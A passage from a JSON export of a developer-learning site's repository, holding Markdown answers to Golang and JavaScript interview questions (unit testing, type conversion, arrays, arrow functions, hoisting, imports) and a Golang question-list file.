    "content": "Go's built in testing package simplifies writing unit tests for your Go code. \n\nBy creating test functions with the prefix Test and using several values for expected results, you can verify that your code behaves as expected. \n\nGenerally speaking, writing unit tests is crucial for code documentation and for ensuring that changes in one function don't affect the rest of the code.\n\nImagine having the following function:\n\n```go\npackage math\n\n// Add returns the sum of a and b.\nfunc Add(a, b int) int {\n    return a + b\n}\n```\n\nNow, using the built-in testing package, you can write a unit test for this function like this:\n\n```go\npackage math\n\nimport \"testing\"\n\nfunc TestAdd(t *testing.T) {\n    got := Add(2, 3)\n    want := 5\n    if got != want {\n        t.Errorf(\"Add(2, 3) = %d; want %d\", got, want)\n    }\n}\n```\n\nSimple, straightforward, and now the tests run through the go test command. "
  },
  {
    "path": "src/data/question-groups/golang/content/type-conversion-importance.md",
    "content": "Given how Go enforces operations to be performed on same-type-variables, explicit conversion between types ends up being necessary. \n\nThis mechanism reduces runtime errors and helps to make your code more predictable. "
  },
  {
    "path": "src/data/question-groups/golang/content/type-conversion.md",
    "content": "Type conversion in Go is explicit, meaning that the developer needs to do it directly (i.e manually), ensuring that both operands share types before any operation is performed. \n\nSpecifically to convert a string like \"age\" into an int value, you can use the strconv package. "
  },
  {
    "path": "src/data/question-groups/golang/content/unit-testing.md",
    "content": "Writing unit tests using Go's built in testing package is quite straightforward and usually all code examples work as expected. Unit tests, in general, help document code behavior, making it easier to maintain and extend flexible and reusable code. "
  },
  {
    "path": "src/data/question-groups/golang/content/value-reference-types.md",
    "content": "Value types, such as integers and structs, are copied when passed to functions. In contrast, reference types, including slices and maps, hold an address pointing to the original data (they're in fact, pointers) in memory. \n\nThis difference affects how data transfer happens and the logic behind how memory gets allocated, making it essential to understand when designing reusable code. "
  },
  {
    "path": "src/data/question-groups/golang/content/variable-declaration.md",
    "content": "Declaring variables in Go is very straightforward. You can use the var keyword or shorthand declaration inside a function. \n\nRegarding the \"zero value\" concept, uninitialized variables are automatically assigned what is known as a zero value, meaning they get assigned the value 0 or its equivalent for the corresponding type of the variable. For example, while a numeric variable might get a 0, a boolean one would get a \"false\" as a default value.\n\nThis feature simplifies coding and avoids unexpected behavior during data transfer between other functions. "
  },
  {
    "path": "src/data/question-groups/golang/golang.md",
    "content": "---\norder: 4\nbriefTitle: 'Golang'\nbriefDescription: 'Test, Rate and Improve your Full-stack knowledge with these questions.'\ntitle: '50 Popular Golang Interview Questions (+ Quiz!)'\ndescription: 'Ace your Go interview with confidence! Check out our top 50 Golang interview questions with tips and explanations.'\nauthorId: 'fernando'\nisNew: true\ndate: 2025-04-22\nseo:\n  title: '50 Popular Golang Interview Questions (+ Quiz!)'\n  description: 'Ace your Go interview with confidence! Check out our top 50 Golang interview questions with tips and explanations.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/golang-interviews-questions-m4vuw.jpg'\n  keywords:\n    - 'golang quiz'\n    - 'golang questions'\n    - 'golang interview questions'\n    - 'golang interview'\n    - 'golang test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: 'What is Golang and what are its key features as an open source programming language?'\n    answer: golang-intro.md\n    topics:\n      - Beginner\n  - question: 'What is the purpose of the package main declaration and the associated import statements in a Go program—especially regarding the role of func main()?'\n    answer: package-main.md\n    topics:\n      - Beginner\n  - question: 'How do you declare variables in Go, and what does \"zero value\" mean for uninitialized variables?'\n    answer: variable-declaration.md\n    topics:\n      - Beginner\n  - question: 'Can you explain the basic data types in Go and how they compare with data types in other programming languages?'\n    answer: basic-data-types.md\n    topics:\n      - Beginner\n  - question: 'What is a pointer variable in Go, and how is it related to the concept of a memory address?'\n    answer: pointer-variables.md\n    topics:\n      - Beginner\n  - question: 'Describe the use of composite data types in Go and provide a simple code snippet as an example.'\n    answer: composite-data-types.md\n    topics:\n      - Beginner\n  - question: 'How do you manage dependencies in a Go project, and why is managing them so important?'\n    answer: dependency-management.md\n    topics:\n      - Beginner\n  - question: \"What is the role of Go's built-in testing package, and how would you write unit tests for your code?\"\n    answer: testing-package.md\n    topics:\n      - Beginner\n  - question: 'How does Go handle memory management and garbage collection, and what advantages does automatic memory management offer?'\n    answer: memory-management.md\n    topics:\n      - Beginner\n  - question: 'Explain how function calls work in Go and give an example demonstrating one.'\n    answer: function-calls.md\n    topics:\n      - Beginner\n  - question: 'What are the key differences between value types and reference types in Go?'\n    answer: value-reference-types.md\n    topics:\n      - Beginner\n  - question: 'How do you perform type conversion in Go, and why is it necessary?'\n    answer: type-conversion.md\n    topics:\n      - Beginner\n  - question: 'Describe how Go uses key value pairs in maps and what common use cases for maps as a data structure are.'\n    answer: maps-usage.md\n    topics:\n      - Beginner\n  - question: 'What are raw string literals in Go, and how do they differ from interpreted string literals?'\n    answer: string-literals.md\n    topics:\n      - Beginner\n  - question: \"How does Go's automatic management of memory help in preventing memory leaks?\"\n    answer: memory-leak-prevention.md\n    topics:\n      - Beginner\n  - question: 'What is meant by memory allocation in Go, and how does it differ from its manual alternative in other programming languages?'\n    answer: memory-allocation.md\n    topics:\n      - Beginner\n  - question: 'Explain the concept of a struct in Go, how you define a struct value, and how to access its fields.'\n    answer: structs.md\n    topics:\n      - Beginner\n  - question: 'What are global variables in Go and when might it be advisable to avoid using them?'\n    answer: global-variables.md\n    topics:\n      - Beginner\n  - question: 'How can you work with JSON data in Go, and could you provide a simple code example that processes JSON?'\n    answer: json-processing.md\n    topics:\n      - Beginner\n  - question: 'What are some reserved keywords in Go, and why are they important to understand?'\n    answer: reserved-keywords.md\n    topics:\n      - Beginner\n  - question: 'Does Go support method overloading? If not, what alternative approaches can be used to achieve similar functionality?'\n    answer: method-overloading.md\n    topics:\n      - Beginner\n  - question: 'How do you implement error handling in Go, and what are custom error types?'\n    answer: error-handling.md\n    topics:\n      - Intermediate\n  - question: 'What is a method signature in Go and how does it contribute to writing flexible and reusable code?'\n    answer: method-signatures.md\n    topics:\n      - Intermediate\n  - question: 'Explain in detail how pointers work in Go, including their relation to memory management.'\n    answer: pointers-detail.md\n    topics:\n      - Intermediate\n  - question: \"How does Go's concurrency model use lightweight threads (goroutines) and channels to facilitate communication?\"\n    answer: concurrency-model.md\n    topics:\n      - Intermediate\n  - question: 'How do you manage your dependencies in Go projects, and what role do version control systems play in this process?'\n    answer: dependency-version-control.md\n    topics:\n      - Intermediate\n  - question: 'Describe the role of the Go runtime and how it impacts CPU and memory during program execution.'\n    answer: runtime-impact.md\n    topics:\n      - Intermediate\n  - question: 'How does Go call functions, and what happens at the machine code level during that process?'\n    answer: function-execution.md\n    topics:\n      - Intermediate\n  - question: \"What are the key differences between Go's error handling and exception handling in other programming languages?\"\n    answer: error-handling-comparison.md\n    topics:\n      - Intermediate\n  - question: 'Explain how channels in Go facilitate communication between concurrent tasks.'\n    answer: channels-communication.md\n    topics:\n      - Intermediate\n  - question: 'How do method signatures and interface values work together to achieve polymorphism in Go?'\n    answer: polymorphism.md\n    topics:\n      - Intermediate\n  - question: 'What are the steps involved in memory allocation in Go, and how does the garbage collector reclaim memory?'\n    answer: memory-allocation-gc.md\n    topics:\n      - Intermediate\n  - question: 'How do you declare variables that return multiple values in Go?'\n    answer: multiple-return-values.md\n    topics:\n      - Intermediate\n  - question: \"Can you explain the role of type conversion in Go and why it's important to ensure variables are of the same type?\"\n    answer: type-conversion-importance.md\n    topics:\n      - Intermediate\n  - question: 'How can you write unit tests for your Go code using the built-in testing package?'\n    answer: unit-testing.md\n    topics:\n      - Intermediate\n  - question: \"Describe the effects of Go's garbage collection on overall memory usage.\"\n    answer: garbage-collection-effects.md\n    topics:\n      - Intermediate\n  - question: \"Discuss how Go handles memory leaks and the strategies you might use to identify bottlenecks.\"\n    answer: memory-leak-strategies.md\n    topics:\n      - Advanced\n  - question: \"How is Go's approach at managing dependencies different from other languages?\"\n    answer: dependency-comparison.md\n    topics:\n      - Advanced\n  - question: 'Explain how functions in Go interact with surrounding functions.'\n    answer: function-interaction.md\n    topics:\n      - Advanced\n  - question: 'How can you effectively manage concurrency while ensuring efficient memory management?'\n    answer: concurrency-management.md\n    topics:\n      - Advanced\n  - question: 'Describe the process of converting between different data types in Go.'\n    answer: data-type-conversion.md\n    topics:\n      - Advanced\n  - question: 'How do method signatures and function calls in Go contribute to creating reusable code?'\n    answer: code-reusability.md\n    topics:\n      - Advanced\n  - question: 'Discuss how Go handles pointers and memory at a low level.'\n    answer: low-level-pointers.md\n    topics:\n      - Advanced\n  - question: 'How would you design custom error types in Go and integrate them with error handling mechanisms?'\n    answer: custom-error-types.md\n    topics:\n      - Advanced\n  - question: 'Explain how the Go runtime optimizes the scheduling of goroutines.'\n    answer: goroutine-scheduling.md\n    topics:\n      - Advanced\n  - question: 'In what ways can careful variable declaration lead to efficient memory management?'\n    answer: efficient-memory-management.md\n    topics:\n      - Advanced\n  - question: 'Discuss how dependency management and version control systems are integrated in Go projects.'\n    answer: dependency-integration.md\n    topics:\n      - Advanced\n  - question: 'How does Go handle global variables, and what are the implications for memory usage?'\n    answer: global-variable-implications.md\n    topics:\n      - Advanced\n  - question: 'Explain the concept of a pointer to an existing struct object in Go.'\n    answer: struct-pointers.md\n    topics:\n      - Advanced\n  - question: 'What would you look for when analyzing code for potential issues in dependency management and memory leaks?'\n    answer: code-analysis.md\n    topics:\n      - Advanced\n\n---\n\n![Top golang interview questions](https://assets.roadmap.sh/guest/golang-interviews-questions-m4vuw.jpg)\n\n## Introduction\n\nEver since Golang (also known as \"Go\") was released in 2012, developers have been taking advantage of its many pros around its concurrent programming model, and the language's simplicity.\n\nIf you're looking to become a Go developer,  this list of Golang interview questions will help you prepare for the role. From basic types and variable declaration in Go to advanced allocation techniques in the memory space and error-handling strategies, we've got you covered. \n\nSo sit back and relax, because the preparation process is going to take a while, but the results are going to be great!\n\n## Getting ready for your next interview\n\nPreparing for a Golang interview involves more than just memorizing the words \"main import\" and \"func main\". You need to understand how calling functions work, how variables receive their zero value, and how types and composite types work together. \n\nAs a good rule of thumb, you'd want to practice writing unit tests using the built-in testing package, and don't forget to focus on properly managing your errors, defining your own error types (when it makes sense), and carefully managing your dependencies. Those are all details that tend to get ignored or trivialized by inexperienced developers (and you don't want to look like one!)."
  },
  {
    "path": "src/data/question-groups/javascript/content/add-method-to-object.md",
    "content": "Adding methods to an object allows you to keep your code organized and easy to reuse. One way to make this happen is by assigning a function to the object's property:\n\n```javascript\nvar obj = {\n        name: \"Cess\",\n        work: \"developer\",\n        countryVisits: 3\n};\n\n// assigning a function to the object's property\n\nobj.newMethod = function() {\n  console.log(\"Hello, I'm \" + this.name + \" and I work as a \" + this.work );\n};\n\nobj.newMethod(); // Hello, I'm Cess and I work as a developer\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/add-remove-array-items.md",
    "content": "Adding or removing items from an array using the `push()` and `pop()` methods:\n\n```javascript\n// using push() method\n\nlet coding = [\"Java\", \"JavaScript\"];\n\ncoding.push(\"React\"); \n\n\nconsole.log(coding); // [\"Java\", \"JavaScript\", \"React\"]\n\n\n// using pop() method\n\nlet coding = [\"Java\", \"JavaScript\"];\n\nlet removeJavaScript = coding.pop();\n\nconsole.log(coding); // ['Java']\n\nconsole.log(removeJavaScript); JavaScript\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/adding-javascript-to-html.md",
    "content": "## Advanced concepts\n\nYou can add JavaScript to an HTML file in three ways: **inline, internal, and external JavaScript**. Internal JavaScript lets you add code inside the HTML markup file between `<script>` tags. You can place internal JavaScript code inside the `<head>` or `<body>` section.\n\nInternal JavaScript is great for small amounts of code and keeps everything in one place. But it can mess up your HTML markup file and make it hard to read, especially if you have a lot of code.\n\n```html\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"UTF-8\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n  <title>Practice</title>\n\n<!-- JavaScript -->\n\n<script>\n  console.log(\"Study Javascript\");\n</script>\n\n<!-- End  -->\n\n\n</head>\n<body>\n\n\n<!-- JavaSCript -->\n\n<script>\n    console.log(\"Hi, I'm Cess\");\n</script>\n\n<!-- End -->\n\n</body>\n</html>\n```\n\nAnother method is to create an external file for your JavaScript. It lets you write your JavaScript code in a separate .js extension and link it to your HTML code file. You can link to the external JavaScript in your HTML's `<head>` or `<body>` section.\n\nDoing this keeps your HTML clean and lets you use the same JavaScript code in many HTML pages. The downside is that it means an extra HTTP request to load the JavaScript file, which might slow down how fast your page loads.\n\nFor example, when you create a file called `app.js`, you'll include it like this:\n\n```html\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"UTF-8\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n  <title>Practice</title>\n\n<!-- JavaScript -->\n\n<script src=\"app.js\"></script>\n\n<!-- End -->\n\n</head>\n\n<body>\n\n<!-- JavaSCript -->\n\n<script src=\"app.js\"></script>\n\n<!-- End -->\n\n</body>\n\n</html>\n```\n\nInline JavaScript lets you place your JavaScript code into an HTML element's attribute. You can do this using an HTML element's attribute, like onclick, onsubmit, and onselect.\n\nUsing inline JavaScript is suitable for fast and easy tasks. But it can make your HTML code difficult to read, especially if you have a lot of JavaScript code.\n\n```html\n<button onclick=\"console.log('A click occured')\">\n      Sign up on roadmap.sh\n</button>\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/addition-operator-result.md",
    "content": "```javascript\nconsole.log(10 + 2 + \"9\"); // 129\n```\n\nJavaScript uses type coercion to convert values to the same type before operations. It'll first add both numbers 10 + 2 to get 12, and then try to add the number 12 to the string \"9\". Since you can't add a number and a string in JavaScript, it'll change the number 12 into a string \"12,\" i.e., \"12\" + \"9\" = \"129\" "
  },
  {
    "path": "src/data/question-groups/javascript/content/array-loop.md",
    "content": "Below is an example of looping through an array using the for loop method:\n\n```javascript\nlet coding = [\"java\", \"python\", \"JavaScript\"];\n\nfor (let i = 0; i < coding.length; i++) {\n  console.log(coding[i]);\n}\n\n// java\n\n// python\n\n// JavaScript\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/array-methods.md",
    "content": "Array methods help you add, delete, or change elements **(values)** in an array. Some array methods to check out are: \n\n![JavaScript interview questions: Array methods](https://assets.roadmap.sh/guest/javascript-array-method-e4qa9.png)\n\n- **push()**: The push() method adds one or more elements to the end of an array and tells you the new length of the array in return.\n- **pop()**: The pop() method removes the last element from an array and returns that element.\n- **shift()**: The shift() method removes and returns the first element from an array.\n- **unshift()**: It adds one or more elements to the start of an array and tells you the new length of the array in return. "
  },
  {
    "path": "src/data/question-groups/javascript/content/arrays-creation.md",
    "content": "You use array literals with square brackets [] to create JavaScript arrays.\n\n![JavaScript interview questions: Arrays](https://assets.roadmap.sh/guest/javascript-arrays-v52bv.png)\n\n```javascript\nlet myArray = [firstArr, secondArr, thirdArr];\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/arrow-functions.md",
    "content": "Arrow functions are a shorter way to write functions in JavaScript, which came out in ES6 2015. It uses an arrow (`=>`) symbol to define (create) a function instead of the function keyword. Arrow functions bind \"this'' to the surrounding scope. This means they inherit the same meaning of the \"this\" keyword as the code around them. It makes it easier to work with variables, functions, objects, etc., outside the arrow function, but still accessible within it.\n\nRegular functions, on the other hand, bind the \"this\" keyword to the function itself. The \"this\" keyword changes based on how you call the function, but it can sometimes cause errors. For example, if you call a regular function as a method of an object, \"this\" will refer to that object. But if you call the same function as a standalone function, \"this\" will refer to the global object **(usually the window object in a browser)**.\n\n```javascript\n// arrow function with this\n\nfunction personName(name) {\n  this.name = name; \n  this.sayName = () => {\n  console.log(this.name); // 'this' is inherited from the surrounding context (constructor function: personName)\n  };\n}\n\nconst cess = new personName(\"cess\");\n\ncess.sayName(); // cess\n\n// regular function with this\n\nfunction Person(name) {\n  this.name = name; // Assigns the \"name\" parameter as the \"name\" property of the object you created.\n\n  this.sayName = function () {\n\nconsole.log(this.name); // Refers to the \"name\" property of the object that calls this function.\n  };\n}\n\nconst cess = new Person(\"cess\");\n\ncess.sayName(); // cess\n```\n\nIn arrow functions, if there is only one expression, you can skip the curly braces `{}` and the return keyword. It makes your code cleaner and easier for you and external developers to read. If you have two or more expressions, use the return keyword and put your code in curly braces `{}`**.**\n\n```javascript\n// regular function\n\nfunction doMath(a,b) {\n    return a + b;\n}\n\nconsole.log(doMath(200, 500)); // 700\n\n// arrow function \n\nconst doMath = (a, b) => a + b; // single expression\n\nconsole.log(doMath(200, 500)); // 700\n\n// multiple expression\n\nlet doMath = (a, b) => {\n  let result = a * b;\n  return result;\n};\n\nconsole.log(doMath(200, 500)); // 100,000\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/asynchronous-javascript.md",
    "content": "Asynchronous JavaScript is a way of writing code that can carry out many tasks at once. It saves you time, especially when working on tasks that take effort, like fetching data from a server.\n\nAsync JavaScript lets your code run at the same time as other tasks while waiting for it to complete. Your code doesn't stop and wait for a task to finish, but it keeps checking now and then to see if the task is complete. Once it's done, either a promise or a callback function responds to the result of the task. "
  },
  {
    "path": "src/data/question-groups/javascript/content/bom.md",
    "content": "The BOM is a set of tools that allows JavaScript to interact with the browser. It controls browser functionalities without needing to interact with the HTML document. You can open and close a browser window, access a browsing history, and more. Examples of the BOM include window, browser, and history objects.\n\n![JavaScript interview questions: Types of web storage](https://assets.roadmap.sh/guest/types-of-web-storage-17ceh.png) "
  },
  {
    "path": "src/data/question-groups/javascript/content/callback-higher-order-functions.md",
    "content": "A callback function is a function that one function gives to another as an argument **(value)**. The second function then runs the callback function after it finishes its operation. Callbacks are often used with other functions to handle tasks like making API calls.\n\nIn the example below, the sendMessage function is a callback function because it's given **(passed)** to the sendNow function to run the code later.\n\n```javascript\nfunction sendMessage(message) {\n  console.log(\"Message: \" + message);\n}\n\nfunction sendNow(callback, message) {\n  callback(message);\n}\nsendNow(sendMessage, \"Hello, I'm learning JavaScript!\"); // Message: Hello, I'm learning JavaScript!\n```\n\nJust like callbacks, higher-order functions also work with other functions. It takes another function as an argument or returns a function as a result. They're often used to handle tasks like controlling asynchronous operations.\n\n```javascript\nfunction createMessage(prefix) {\n  return function (message) { // returns a new function\n    console.log(prefix + \" \" + message);\n  };\n}\n\nconst sendMessage = createMessage(\"Hello\"); // creates a new function\n\nsendMessage(\"Cess!\"); // Hello, Cess!\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/check-object-property.md",
    "content": "There are different ways to check if an object has a specific property. The method you choose depends on what you want to check and why. I'll be using the `Object.hasOwn` method to check if an object has a property that belongs only to it, not to its parent or inherited prototype.\n\n```javascript\nvar obj = {\n        name: \"Cess\",\n        work: \"developer\",\n        countryVisits: 3,\n};\n\nconsole.log(Object.hasOwn(obj, \"name\")); // true\n\nconsole.log(Object.hasOwn(obj, \"developer\")); // false\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/clear-array.md",
    "content": "There are several ways to clear an array in JavaScript. However, I'll focus on the three most common methods.\n\n```javascript\n// Setting the length of an array property to 0:\n\nlet num = [20, 30, 40, 50];\n\nnum.length = 0;\n\nconsole.log(num); // []\n\n// Using the splice() method:\n\nlet num = [20, 30, 40, 50];\n\nnum.splice(0, num.length);\n\nconsole.log(num); // []\n\n// Assigning an empty array:\n\nlet num = [20, 30, 40, 50]; \n\nnum = []; \n\nconsole.log(num); // []\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/constructor-function.md",
    "content": "A constructor function creates multiple objects with the same properties and methods. Using the \"new\" keyword with a constructor function creates a new object and sets \"this\" to that object.\n\nIt's usually a good idea, but not required, to start the name of a constructor function with a capital letter. Doing this helps differentiate constructor functions from your regular functions and variables.\n\n```javascript\nfunction myDetails(name, visits) {\n  this.name = name; // Set the name parameter to the object\n  this.visits = visits; // Set the visits parameter to the object\n\n\n\n  this.newDetails = function () {\n    console.log(\n      `Hi, I'm ${this.name} and I have visited ${this.visits} countries.`\n    );\n  };\n}\n\n// Create objects using the constructor \n\nlet runDetails = new myDetails(\"Cess\", 2);;\n\nrunDetails.newDetails(); // Hi, I'm Cess and I have visited 2 countries.\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/css-selectors-javascript.md",
    "content": "## Advanced concepts\n\nThere are several methods to manipulate HTML elements using CSS style selectors. But I'll be using the `document.getElementById` to style a paragraph element with an `ID=\"styleP\"`\n\n```html\n<p id=\"styleP\">\n      Top JavaScript interview questions for web developers\n</p>\n```\n\n```javascript\n// Get the HTML element with the ID \"styleP\"\n\nconst styleP = document.getElementById(\"styleP\");\n\n\n// Apply styles to the element\n\nstyleP.style.color = \"red\"; \nstyleP.style.border = \"3px solid black\";\n\nconsole.log(styleP.style);\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/destructuring.md",
    "content": "Destructuring lets you take out values from arrays or objects and put them into separate variables. It makes your code easier to read and reduces mistakes when writing code. You don't have to deal with extra variables; what you assign to each variable is obvious.\n\n```\n// list of languages\n\nlet pLang = [\"Java\", \"JavaScript\", \"Python\"]\n\n// using destructuring to take out each language into separate variable:\n\nlet [pLang1, pLang2, pLang3] = pLang;\n\nconsole.log(pLang1); // Java\n\nconsole.log(pLang2); // JavaScript\n\nconsole.log(pLang3); // Python\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/dom.md",
    "content": "The DOM is a structured representation of a webpage's elements **(HTML or XML page)**. Whenever an HTML page loads, the web browser creates a DOM for that page. It's a way for JavaScript to understand and change a webpage's content, layout, and style.\n\n![JavaScript interview questions: The DOM](https://assets.roadmap.sh/guest/document-object-model-in-javascript-8qryb.png)\n\nThe DOM represents the web page as a tree-like structure of objects. Each web page element, like paragraphs and images, becomes an object in this tree. JavaScript uses the DOM to manipulate these objects and make the webpage interactive.\n\nFor example, imagine you're watching a JavaScript tutorial on YouTube that you enjoy and decide to click the \"like\" button. When you click the \"like\" button, the text changes to \"unlike,\" and the like counter goes up. JavaScript accesses and changes the DOM to update the button's text from \"like\" to \"unlike.\" "
  },
  {
    "path": "src/data/question-groups/javascript/content/equality-operators.md",
    "content": "\"==\" and \"===\" are comparison operators, but they are different in how they treat type coercion. The \"==\" comparison operator checks if the values are the same, but doesn't care about the data type.\n\nThe \"===\" comparison operator, on the other hand, checks if both the value and the data type are the same.\n\n```\nconsole.log(50 == \"50\"); True: string \"50\" is converted to number 50\n\nconsole.log(50 === \"50\"); False: false, no type coercion due to different data types\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/error-monitoring.md",
    "content": "Keeping track of errors in your JavaScript application is important, especially when it's up and running and people are using it. This will allow you to find and correct mistakes to make your application reliable and easier to use.\n\nThese methods will help you keep tabs on what's happening with your application once it's in production:\n\n- **Try-Catch Blocks**: Use a try...catch block to catch errors before they cause your application to crash.\n- **Track uncaught errors**: Use a window.oneerror to catch errors outside a try...catch block.\n- **External services**: Use external services like Sentry to track errors in production.\n- **Send errors to a server**: Use AJAX or fetch API to send error data to the server for analysis. "
  },
  {
    "path": "src/data/question-groups/javascript/content/even-odd-check.md",
    "content": "One way to check if a number is even or odd is by creating a function using the modulus operator (`%`). It's a mathematical operation that helps find the remainder of a division problem.\n\nIn the example below, the number used for the division is \"2\", which is already an even number. If the remainder of dividing a number by \"2\" is \"0\", then it's an even number. But if the remainder is not \"0\", it's an odd number.\n\n```javascript\nfunction EvenOrOddNum(num) {\n\n  if (num % 2 === 0) {\n    return `${num} is even`;\n  } else {\n    return `${num} is odd`;\n  }\n}\n\nconsole.log(EvenOrOddNum(30)); // 30 is even\n\nconsole.log(EvenOrOddNum(31)); // 31 is odd\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/function-declarations-expressions.md",
    "content": "A function declaration is a statement used to create functions in JavaScript. It starts with the function keyword followed by the function name and parameters. As long as you stick to the naming conventions, you can provide your function or parameters with any name you want. Also, function declarations are \"hoisted,\" meaning you can call them before they're defined.\n\n```javascript\nfunction functionName(parameters) {\n        // Body of the function\n}\n```\n\nA function expression is also a statement, defining a function as an expression. It starts with you declaring a variable such as let, const, or var, followed by an assignment operator (=), and it doesn't need a name **(an anonymous function)** unless you give it one. Also, they are not \"hoisted,\" meaning you can only use them after you define them, or you'll get an error.\n\n```javascript\nlet variableName = function(parameters) {\n        // Body of the function\n}\n\n// The variableName will act as the function name in a function expression.\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/function-scope.md",
    "content": "Function scope refers to the scope of variables defined within a function. You can only access variable values within the scope and not outside. It helps to avoid having the same variable names and keeps your JavaScript code clean.\n\n```javascript\nfunction myStudyPlan() { \n  var studyPlanOne = \"Top JavaScript interview questions for web developers\";\n  let studyPlanTwo = \"Top JavaScript interview questions for web developers\";\n  const studyPlanThree = \"Top JavaScript interview questions for web developers\"; \n\n  console.log(studyPlanOne); \n  console.log(studyPlanTwo);  \n  console.log(studyPlanThree); \n} \n\nmyStudyPlan(); // Calls the function \n```"
  },
  {
    "path": "src/data/question-groups/javascript/content/global-local-scope.md",
    "content": "Global scope is all the variables you can access from anywhere in your JavaScript code. When you declare a variable outside of any function or block, it becomes a global variable. Using too many global variables can make your code difficult to read.\n\n![JavaScript interview questions: Global scope and local scope](https://assets.roadmap.sh/guest/global-scope-vs-local-scope-0wnm4.png)\n\nIn contrast, local scope is a variable you can only access within a function. When you declare a variable inside any function or block of code, it becomes a local ****variable. It helps to organize your JavaScript code, making it easier to read. When coding in JavaScript, try to use local scope variables instead of global scope variables as much as possible. "
  },
  {
    "path": "src/data/question-groups/javascript/content/global-object.md",
    "content": "Global objects are containers for the global scope and its properties, e.g., variables. You can access its properties from anywhere within your code. In a web browser, the global object is the **\"window,\"** while in Node.js, it is **\"global.\"** "
  },
  {
    "path": "src/data/question-groups/javascript/content/hoisting.md",
    "content": "Hoisting is when a variable or function declaration gets moved to the top of its scope before the code runs. It means you can use a variable or function before you create (declare) it.\n\n```javascript\nconsole.log(hoistedVariable); // undefined\n\nvar hoistedVariable = \"initialized var hoistedVariable\";\n\nconsole.log(hoistedVariable); // correct value\n```\n\nIn the example above, I used the variable **\"hoistedVariable\"** in the first console.log before creating it. Often, this would cause an error, but due to hoisting, it will show **\"undefined.\"** The computer will move the variable creation var hoistedVariable to the top, but won't move the variable value. When I assign the value to the variable, the second console.log will show the correct answer.\n\n![JavaScript interview questions: Hoisting](https://assets.roadmap.sh/guest/hoisting-in-javascript-7nbhj.png)\n\nThe **\"let\"** and **\"const\"** keywords don't work well with hoisting. Even though they're moved to the top of their scope, they don't get a value right away. It creates a **\"temporal dead zone\"** where you can't access the variables until they're declared (created). If you try to use **\"let\"** or **\"const\"** variables before declaring them, you'll get a \"ReferenceError.\" "
  },
  {
    "path": "src/data/question-groups/javascript/content/iife.md",
    "content": "Immediately invoked function expressions, or IIFEs, run as soon as they're created. It creates a local scope for variables so they don't mess with other parts of the code. You make an IIFE by placing your code inside the parentheses (). Also, adding another set of parentheses () at the function's end will make it run immediately.\n\n```javascript\n// Syntax\n\n(function () {\n        // write your code here\n}());\n\n// Example\n\n(function () {\n  console.log(\n    \"roadmap.sh helps prepare for  JavaScript job interview questions\"\n  );\n})();\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/imports-exports.md",
    "content": "## Advanced concepts\n\nUsing \"import\" and \"export\" makes sharing code among many files easier. The \"export\" keyword shares code and data like variables, classes, and functions. On the other hand, the \"import\" keyword brings in these values, so you can use them in a different file.\n\nFor example, you have two files called `function.js` and another file called `app.js`. `app.js` contains the original code you want to move to function.js using import and export.\n\nYou'll need to create an HTML page and link it to `function.js` instead of `app.js`. This is because `app.js` contains the original code but cannot run on its own. Also, make sure to add function.js to the HTML with the type attribute set to **\"module\"** to prevent errors from occurring.\n\n```html\n<!-- Link to HTML with type=\"module\" attribute -->\n\n<script type=\"module\" src=\"function.js\"></script>\n```\n\n```javascript\n// Export the function in file 1 \"app.js\"\n\nexport function studyJs(course) {\n  return `Read the JavaScript guide on, ${course}`;\n}\n\n\n// In file 2 the \"js import\" statement brings the \"studyJs\" function from \"app.js\" to \"function.js\"\n\nimport { studyJs } from './app.js';\n\nconsole.log(studyJs(\"roadmap.sh\")); // Read the JavaScript guide on, roadmap.sh\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/innerhtml-vs-innertext.md",
    "content": "## Advanced concepts\n\ninnerHTML is what you use to get or change the HTML content of an element. It shows you the plain text and the HTML tags used to create the text. For example, if you have a paragraph with an italics tag, innerHTML will show the em tags in the final result.\n\n```html\n<p id=\"text\">\n  <em>\n      JavaScript interview questions\n </em>\n</p>\n```\n\n```javascript\nlet textOne = document.getElementById(\"text\");\n\nconsole.log(textOne.innerHTML); // <em>JavaScript interview questions</em>\n```\n\nOn the other hand, innerText gets or changes the plain text inside an element. It shows you the text on the page but not the HTML tags used to create the text.\n\n```html\n<p id=\"text\">\n  <em>\n      JavaScript interview questions\n </em>\n</p>\n```\n\n```javascript\nlet textOne = document.getElementById(\"text\");\n\nconsole.log(textOne.innerText); // JavaScript interview questions\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/isnan-function.md",
    "content": "You use the isNaN function to check when a value is **\"Not a Number.\"** It attempts to convert the given value to a number and then checks if the result is a NaN. If the value is not a number, it'll return true, but if it is a number, it'll return false.\n\n```javascript\nconsole.log(isNaN(\"study\")); // true\n\nconsole.log(isNaN(4)); // false\n``` "
  },
  {
    "path": "src/data/question-groups/javascript/content/java-vs-javascript.md",
